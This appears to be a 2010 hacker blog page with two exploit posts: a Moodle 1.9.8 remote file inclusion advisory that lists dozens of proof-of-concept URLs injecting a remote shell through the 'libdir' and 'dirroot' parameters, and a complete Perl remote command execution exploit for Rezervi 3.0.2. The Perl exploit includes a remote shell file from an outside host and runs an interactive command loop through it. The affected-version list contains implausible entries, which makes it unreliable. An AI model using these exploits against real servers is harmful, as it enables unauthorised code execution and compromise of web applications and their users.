My Vulnerability advisories : 5/2/10

########################################################

[+]Title: Moodle 1.9.8+ ("libdir" , "dirroot") RFI Vulnerability
[+]Method: Remote (rfi) exploit
[+]Download: http://download.moodle.org/stable19/
[+]Discovered by: eidelweiss
[+]Contact: eidelweiss[at]cyberservices[dot]com

[!]Thank`s To: exploit-db team , JosS (hack0wn) , sp3x (securityreason) , r0073r & 0x1D (inj3ct0r) , [D]eal [C]yber and all my friends

########################################################

BACKGROUND :

Moodle is a Course Management System (CMS), also known as a Learning Management System (LMS) or a Virtual Learning Environment (VLE).
It is a Free web application that educators can use to create effective online learning sites.

***********************

-=[Vulnerability Description]=-

Moodle v.1.9.8+ is Prone to Remote File Include exploit.

Input passed to the "libdir" and "dirroot" parameter in multiple files is not properly verified before being used to include files.
This can be exploited to execute arbitrary PHP code by including files from local or external resources (rfi) and also can be exploited to disclose full user names of other users (lfi).

Access Vector: Network exploitable
Access Complexity: High
Authentication: Not Required to exploit
Impact Type:Allows unauthorized disclosure of information

Remote: Yes
Local: Yes

-=[ Vulnerable / Affected ]=-

Moodle moodle 1.9.8+
Moodle moodle 1.9.x
Moodle moodle 1.8.x
Moodle moodle 1.7.7 and Prior
Moodle moodle 1.5.2 and Prior
Moodle moodle 1.4.3 and Prior
Moodle moodle 1.3.4 and Prior
Moodle moodle 1.2.1 and Prior
Moodle moodle 1.9 and Prior
Moodle moodle 1.7.7+
Moodle moodle 1.7
Moodle moodle 1.6.9+
Moodle moodle 1.6.1 +
Moodle moodle 1.18.2.3
Moodle moodle 1.18.2.2
RedHat Fedora 13
BEA Systems Weblogic Proxy Plugin 1.5.3 +
BEA Systems Weblogic Proxy Plugin 1.5.3
Moodle - Joomla Integration

-=[ Vuln C0de ]=-

1. Input passed to the "libdir" and "dirroot" parameter in multiple files is not properly verified before being used to include files.
This can be exploited to execute arbitrary PHP code by including files from local or external resources (rfi) and also can be exploited to disclose full user names of other users (lfi).

2. No sanitize , not defined and No Login require for :

require_once($CFG->libdir.'/formslib.php');
***?>

(moodle/admin/uploaduser_form.php)
(moodle/admin/uploadpicture_form.php)
(moodle/blog/edit_form.php)
(moodle/course/edit_form.php)
(moodle/course/recent_form.php)
(moodle/course/moodleform_mod.php)
(moodle/course/reset_form.php)
(moodle/course/delete_category_form.php)
(moodle/course/request_form.php)
(moodle/grade/edit/letter/edit_form.php)
(moodle/grade/edit/outcome/edit_form.php)
(moodle/grade/edit/scale/edit_form.php)
(moodle/grade/edit/settings/form.php)
(moodle/grade/edit/tree/category_form.php)
(moodle/grade/edit/tree/outcomeitem_form.php)
(moodle/grade/edit/tree/calculation_form.php)
(moodle/grade/edit/tree/grade_form.php)
(moodle/grade/export/grade_export_form.php)
(moodle/grade/import/grade_import_form.php)
(moodle/login/signup_form.php)
(moodle/login/change_password_form.php)
(moodle/login/restored_password_form.php)
(moodle/mod/forum/post_form.php)
(moodle/mod/glossary/comment_form.php)
(moodle/notes/edit_form.php)
(moodle/question/contextmove_form.php)
(moodle/question/move_form.php)
(moodle/question/category_form.php)
(moodle/question/contextmoveq_form.php)
(moodle/question/export_form.php)
(moodle/question/import_form.php)

*********************** -=[P0C]=- ***********************

http://127.0.0.1/moodle/admin/uploaduser_form.php?libdir=
http://127.0.0.1/moodle/admin/uploadpicture_form.php?libdir=
http://127.0.0.1/moodle/blog/edit_form.php
http://127.0.0.1/moodle/course/edit_form.php
http://127.0.0.1/moodle/course/recent_form.php
http://127.0.0.1/moodle/course/moodleform_mod.php
http://127.0.0.1/moodle/course/reset_form.php
http://127.0.0.1/moodle/course/delete_category_form.php
http://127.0.0.1/moodle/course/request_form.php
http://127.0.0.1/moodle/grade/edit/letter/edit_form.php
http://127.0.0.1/moodle/grade/edit/outcome/edit_form.php
http://127.0.0.1/moodle/grade/edit/scale/edit_form.php
http://127.0.0.1/moodle/grade/edit/settings/form.php
http://127.0.0.1/moodle/grade/edit/tree/category_form.php
http://127.0.0.1/moodle/grade/edit/tree/outcomeitem_form.php
http://127.0.0.1/moodle/grade/edit/tree/calculation_form.php
http://127.0.0.1/moodle/grade/edit/tree/grade_form.php
http://127.0.0.1/moodle/grade/export/grade_export_form.php
http://127.0.0.1/moodle/grade/import/grade_import_form.php
http://127.0.0.1/moodle/login/signup_form.php
http://127.0.0.1/moodle/login/change_password_form.php
http://127.0.0.1/moodle/login/restored_password_form.php
http://127.0.0.1/moodle/mod/forum/post_form.php
http://127.0.0.1/moodle/mod/glossary/comment_form.php
http://127.0.0.1/moodle/notes/edit_form.php
http://127.0.0.1/moodle/question/contextmove_form.php
http://127.0.0.1/moodle/question/move_form.php
http://127.0.0.1/moodle/question/category_form.php
http://127.0.0.1/moodle/question/contextmoveq_form.php
http://127.0.0.1/moodle/question/export_form.php
http://127.0.0.1/moodle/question/import_form.php

########################################################

-=[ Other Vuln C0de ]=-

[-] moodle/lib/textlib.class.php

/// Required files
require_once($CFG->libdir.'/typo3/class.t3lib_cs.php'); // line 28
require_once($CFG->libdir.'/typo3/class.t3lib_div.php'); // line 29

*********************** -=[P0C]=- ***********************

http://127.0.0.1/moodle/lib/textlib.class.php?libdir= [inj3ct0r shell]

########################################################
[-] moodle/group/group_form.php

require_once($CFG->dirroot.'/lib/formslib.php'); // line 3

*********************** -=[P0C]=- ***********************

http://127.0.0.1/moodle/group/group_form.php?dirroot= [inj3ct0r shell]

########################################################

-=[ Other Vuln C0de ]=-

[-] moodle/my/pagelib.php

require_once($CFG->libdir.'/pagelib.php'); // line 3

*********************** -=[P0C]=- ***********************

http://127.0.0.1/moodle/my/pagelib.php?libdir= [sh3ll inj3ct0r]

########################################################

-=[ Other Vuln C0de ]=-

[-] /moodle/tag/pagelib.php

require_once($CFG->libdir.'/pagelib.php'); // line 3
require_once('lib.php');

*********************** -=[P0C]=- ***********************

http://127.0.0.1/moodle/tag/pagelib.php?libdir= [inj3ct0r sh3ll]

########################################################

[-] moodle/course/editcategory_form.php

require_once ($CFG->dirroot.'/course/moodleform_mod.php'); // line 2

*********************** -=[P0C]=- ***********************

http://127.0.0.1/moodle/course/editcategory_form.php?dirroot= [sh3ll inj3ct0r]

*********************** etc, etc, etc, ***********************

####################=[E0F]=####################

#!/usr/bin/perl
####################################################################
# REZERVI 3.0.2 Remote Command Execution Exploit
# download: http://www.rezervi.com/downloads/rezervi3_0_2.zip
#
# Author: JosS & Randy Arios a.k.a eidelweiss
# mail: eidelweiss[at]cyberservices[dot]com
# blog: http://eidelweiss-advisories.blogspot.com
# Greetz: Inj3ct0r Team - YOGYACARDERLINK - devilzc0de - JosS [hack0wn] - exploit-db team
#
# INDONESIAN HACKER still R0CK!!
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
####################################################################
# OUTPUT: (tested on localhost)
#
# [shell]:~$ id
# uid=80(apache) gid=80(apache) groups=80(apache)
# [shell]:~$ uname -a
# Linux localhost 2.6.29-grsec #2 SMP Fri Aug 14 21:37:03 PDT 2009 i686 GNU/Linux
# [shell]:~$ exit
# localhost:/home/eidelweiss/Desktop#

use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;
use Getopt::Long;

sub clear{
system(($^O eq 'MSWin32') ? 'cls' : 'clear');
}

&clear();

sub banner {
&clear();
print "[x] REZERVI 3.0.2 Remote Command Execution Exploit\n";
print "[x] Written By eidelweiss\n";
print "[x] eidelweiss[at]cyberservices[dot]com\n\n";
print "[+] Usage:\n";
print "[+] $0 -vuln \"web+path\" -shell \"shell\"\n";
print "[+] eX: $0 -vuln \"http://localhost/PATH/\" -shell \"http://yourweb/inj3ct0r/sh3ll.txt?\"\n\n";
exit();
}

my $options = GetOptions (
'help!' => \$help,
'vuln=s' => \$vuln,
'shell=s' => \$shell
);

&banner unless ($vuln);
&banner unless ($shell);

&banner if $banner eq 1;

chomp($vuln);
chomp($shell);

while (){

print "[shell]:~\$ ";
chomp($cmd=);

if ($cmd eq "exit" || $cmd eq "quit") {
exit 0;
}

my $ua = LWP::UserAgent->new;
$iny="?&act=cmd&cmd=" . $cmd . "&d=/&submit=1&cmd_txt=1";
chomp($iny);
my $own = $vuln . "/rezervi/include/mail.inc.php?root=" . $shell . $iny;
chomp($own);
my $req = HTTP::Request->new(GET => $own);
my $res = $ua->request($req);
my $con = $res->content;
if ($res->is_success){
print $1,"\n" if ( $con =~ m/readonly> (.*?)\<\/textarea>/mosix);
}
else
{
print "[p0c] Exploit failed\n";
exit(1);
}
}

# __E0F__

My Vulnerability advisories

My Link

2010/05/08

Moodle 1.9.8+ ("libdir" , "dirroot") RFI Vulnerability Exploit

2010/05/07

REZERVI 3.0.2 Remote Command Execution Exploit